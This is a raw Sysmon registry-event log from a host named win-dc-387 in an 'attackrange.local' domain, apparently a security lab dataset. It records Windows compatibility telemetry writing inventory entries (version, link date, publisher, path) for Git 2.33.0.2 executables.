14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-worktree.exe|334239d9fbdc7a11\LinkDate08/24/2021 10:09:53 13241300x800000000000000036844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-worktree.exe|334239d9fbdc7a11\Publisherthe git development community 13241300x800000000000000036843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-worktree.exe|334239d9fbdc7a11\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-worktree.exe 13241300x800000000000000036842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-whatchanged.|b8fb62958eb786da\BinProductVersion2.33.0.2 13241300x800000000000000036841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-whatchanged.|b8fb62958eb786da\LinkDate08/24/2021 10:09:53 13241300x800000000000000036840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-whatchanged.|b8fb62958eb786da\Publisherthe git development community 13241300x800000000000000036839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-whatchanged.|b8fb62958eb786da\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-whatchanged.exe 13241300x800000000000000036838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-verify-tag.e|d492b12e36f71329\BinProductVersion2.33.0.2 13241300x800000000000000036837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-verify-tag.e|d492b12e36f71329\LinkDate08/24/2021 10:09:53 13241300x800000000000000036836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-verify-tag.e|d492b12e36f71329\Publisherthe git development community 13241300x800000000000000036835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-verify-tag.e|d492b12e36f71329\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-verify-tag.exe 13241300x800000000000000036834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-verify-pack.|d565dfc7b34b65aa\BinProductVersion2.33.0.2 13241300x800000000000000036833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-verify-pack.|d565dfc7b34b65aa\LinkDate08/24/2021 10:09:53 13241300x800000000000000036832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-verify-pack.|d565dfc7b34b65aa\Publisherthe git development community 13241300x800000000000000036831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-verify-pack.|d565dfc7b34b65aa\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-verify-pack.exe 13241300x800000000000000036830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-verify-commi|f37a5e9bd2f4578a\BinProductVersion2.33.0.2 13241300x800000000000000036829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-verify-commi|f37a5e9bd2f4578a\LinkDate08/24/2021 10:09:53 13241300x800000000000000036828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-verify-commi|f37a5e9bd2f4578a\Publisherthe git development community 13241300x800000000000000036827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-verify-commi|f37a5e9bd2f4578a\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-verify-commit.exe 13241300x800000000000000036826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-var.exe|751104bdaadb1181\BinProductVersion2.33.0.2 13241300x800000000000000036825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-var.exe|751104bdaadb1181\LinkDate08/24/2021 10:09:53 13241300x800000000000000036824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-var.exe|751104bdaadb1181\Publisherthe git development community 13241300x800000000000000036823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-var.exe|751104bdaadb1181\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-var.exe 13241300x800000000000000036822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-pack.|e0593a4774ace4ad\BinProductVersion2.33.0.2 13241300x800000000000000036821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-pack.|e0593a4774ace4ad\LinkDate08/24/2021 10:09:53 13241300x800000000000000036820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-pack.|e0593a4774ace4ad\Publisherthe git development community 13241300x800000000000000036819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-pack.|e0593a4774ace4ad\LowerCaseLongPathc:\program files\git\mingw64\bin\git-upload-pack.exe 13241300x800000000000000036818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-pack.|4bc571ea2cc47819\BinProductVersion2.33.0.2 13241300x800000000000000036817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-pack.|4bc571ea2cc47819\LinkDate08/24/2021 10:09:53 13241300x800000000000000036816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-pack.|4bc571ea2cc47819\Publisherthe git development community 13241300x800000000000000036815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-pack.|4bc571ea2cc47819\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-upload-pack.exe 13241300x800000000000000036814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-archi|f4cda268b43d63d5\BinProductVersion2.33.0.2 13241300x800000000000000036813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-archi|f4cda268b43d63d5\LinkDate08/24/2021 10:09:53 13241300x800000000000000036812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-archi|f4cda268b43d63d5\Publisherthe git development community 13241300x800000000000000036811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-archi|f4cda268b43d63d5\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-upload-archive.exe 13241300x800000000000000036810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-archi|970cdd550165a34b\BinProductVersion2.33.0.2 13241300x800000000000000036809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-archi|970cdd550165a34b\LinkDate08/24/2021 10:09:53 13241300x800000000000000036808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-archi|970cdd550165a34b\Publisherthe git development community 13241300x800000000000000036807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-upload-archi|970cdd550165a34b\LowerCaseLongPathc:\program files\git\mingw64\bin\git-upload-archive.exe 13241300x800000000000000036806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-update-serve|d3496551fcee326\BinProductVersion2.33.0.2 13241300x800000000000000036805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-update-serve|d3496551fcee326\LinkDate08/24/2021 10:09:53 13241300x800000000000000036804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-update-serve|d3496551fcee326\Publisherthe git development community 13241300x800000000000000036803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-update-serve|d3496551fcee326\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-update-server-info.exe 13241300x800000000000000036802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-update-ref.e|636e33b932a7ad4\BinProductVersion2.33.0.2 13241300x800000000000000036801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-update-ref.e|636e33b932a7ad4\LinkDate08/24/2021 10:09:53 13241300x800000000000000036800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-update-ref.e|636e33b932a7ad4\Publisherthe git development community 13241300x800000000000000036799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-update-ref.e|636e33b932a7ad4\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-update-ref.exe 13241300x800000000000000036798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-update-index|cc5c84a1add7114d\BinProductVersion2.33.0.2 13241300x800000000000000036797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-update-index|cc5c84a1add7114d\LinkDate08/24/2021 10:09:53 13241300x800000000000000036796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-update-index|cc5c84a1add7114d\Publisherthe git development community 13241300x800000000000000036795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-update-index|cc5c84a1add7114d\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-update-index.exe 13241300x800000000000000036794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-unpack-objec|93ac7618bed9528f\BinProductVersion2.33.0.2 13241300x800000000000000036793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-unpack-objec|93ac7618bed9528f\LinkDate08/24/2021 10:09:53 13241300x800000000000000036792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-unpack-objec|93ac7618bed9528f\Publisherthe git development community 13241300x800000000000000036791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-unpack-objec|93ac7618bed9528f\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-unpack-objects.exe 13241300x800000000000000036790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-unpack-file.|7756b160cc2cfb66\BinProductVersion2.33.0.2 13241300x800000000000000036789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-unpack-file.|7756b160cc2cfb66\LinkDate08/24/2021 10:09:53 13241300x800000000000000036788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-unpack-file.|7756b160cc2cfb66\Publisherthe git development community 13241300x800000000000000036787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-unpack-file.|7756b160cc2cfb66\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-unpack-file.exe 13241300x800000000000000036786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-tag.exe|7666d39e6cc8f3cc\BinProductVersion2.33.0.2 13241300x800000000000000036785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-tag.exe|7666d39e6cc8f3cc\LinkDate08/24/2021 10:09:53 13241300x800000000000000036784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-tag.exe|7666d39e6cc8f3cc\Publisherthe git development community 13241300x800000000000000036783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-tag.exe|7666d39e6cc8f3cc\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-tag.exe 13241300x800000000000000036782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-symbolic-ref|ce473368350d320a\BinProductVersion2.33.0.2 13241300x800000000000000036781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-symbolic-ref|ce473368350d320a\LinkDate08/24/2021 10:09:53 13241300x800000000000000036780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-symbolic-ref|ce473368350d320a\Publisherthe git development community 13241300x800000000000000036779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-symbolic-ref|ce473368350d320a\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-symbolic-ref.exe 13241300x800000000000000036778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-switch.exe|ff6e85f065529228\BinProductVersion2.33.0.2 13241300x800000000000000036777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-switch.exe|ff6e85f065529228\LinkDate08/24/2021 10:09:53 13241300x800000000000000036776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-switch.exe|ff6e85f065529228\Publisherthe git development community 13241300x800000000000000036775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-switch.exe|ff6e85f065529228\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-switch.exe 13241300x800000000000000036774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-submodule--h|a577781a96a63623\BinProductVersion2.33.0.2 13241300x800000000000000036773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-submodule--h|a577781a96a63623\LinkDate08/24/2021 10:09:53 